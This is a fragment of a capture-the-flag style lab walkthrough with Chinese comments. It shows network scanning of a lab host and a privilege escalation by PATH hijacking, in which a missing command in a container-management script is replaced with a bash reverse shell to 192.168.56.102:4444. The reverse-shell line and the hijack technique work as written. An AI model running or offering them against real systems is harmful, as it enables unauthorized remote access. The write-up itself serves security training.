3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.870 seconds (136.90 hosts/sec). 3 responded ┌──(kali㉿kali)-[~] └─$ nmap 192.168.56.116 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-10 09:18 EDT Nmap scan report for 192.168.56.116 Host is up (0.0011s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http ┌──(kali㉿kali)-[~] └─$ nmap -sV 192.168.56.116 -p 22,80 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-10 09:20 EDT Nmap scan report for 192.168.56.116 Host is up (0.0012s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.32 seconds
think@publisher:/tmp$ /opt/run_container.sh permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json?all=1": dial unix /var/run/docker.sock: connect: permission denied ##这里提示也没权限 docker: permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/create": dial unix /var/run/docker.sock: connect: permission denied. See 'docker run --help'. List of Docker containers: permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json?all=1": dial unix /var/run/docker.sock: connect: permission denied
Enter the ID of the container or leave blank to create a new one: 1 ##提示输入containerID或者创建一个 /opt/run_container.sh: line 16: validate_container_id: command not found ##提示在脚本的第16行有个validate_container_id命令没找到
OPTIONS: 1) Start Container 2) Stop Container 3) Restart Container 4) Create Container 5) Quit Choose an action for a container:
应该是个命令劫持的点吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
think@publisher:/tmp$ echo -n "bash -i &>/dev/tcp/192.168.56.102/4444 <&1">validate_container_id think@publisher:/tmp$ PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/tmp think@publisher:/tmp$ echo$PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/tmp think@publisher:~$ validate_container_id bash: /tmp/validate_container_id: Permission denied think@publisher:~$ chmod +x /tmp/validate_container_id think@publisher:~$ /opt/run_container.sh permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json?all=1": dial unix /var/run/docker.sock: connect: permission denied docker: permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/create": dial unix /var/run/docker.sock: connect: permission denied. See 'docker run --help'. List of Docker containers: permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/json?all=1": dial unix /var/run/docker.sock: connect: permission denied
Enter the ID of the container or leave blank to create a new one: 1##其实不用管containerID乱填就好，回车之后会卡住，那边就已经收到弹过来的shell了
1:#!/bin/bash 2: 3:# Function to list Docker containers 4:list_containers() { 5: if [ -z "$(docker ps -aq)" ]; then 6: docker run -d --restart always -p 8000:8000 -v /home/think:/home/think 4b5aec41d6ef; 7: fi 8: echo"List of Docker containers:" 9: docker ps -a --format "ID: {{.ID}} | Name: {{.Names}} | Status: {{.Status}}" 10: echo"" 11:} 12: 13:# Function to prompt user for container ID 14:prompt_container_id() { 15: read -p "Enter the ID of the container or leave blank to create a new one: " container_id 16: validate_container_id "$container_id" 17:} 18: 19:# Function to display options and perform actions 20:select_action() { 21: echo"" 22: echo"OPTIONS:" 23: local container_id="$1" 24: PS3="Choose an action for a container: " 25: options=("Start Container""Stop Container""Restart Container""Create Container""Quit") 26: 27: select opt in"${options[@]}"; do 28: case$REPLYin 29: 1) docker start "$container_id"; break ;; 30: 2) if [ $(docker ps -q | wc -l) -lt 2 ]; then 31: echo"No enough containers are currently running." 32: exit 1 33: fi 34: docker stop "$container_id" 35: break ;; 36: 3) docker restart "$container_id"; break ;; 37: 4) echo"Creating a new container..." 38: docker run -d --restart always -p 80:80 -v /home/think:/home/think spip-image:latest 39: break ;; 40: 5) echo"Exiting..."; exit ;; 41: *) echo"Invalid option. Please choose a valid option." ;; 42: esac 43: done 44:} 45: 46:# Main script execution 47:list_containers 48:prompt_container_id # Get the container ID from prompt_container_id function 49:select_action "$container_id"# Pass the container ID to select_action function
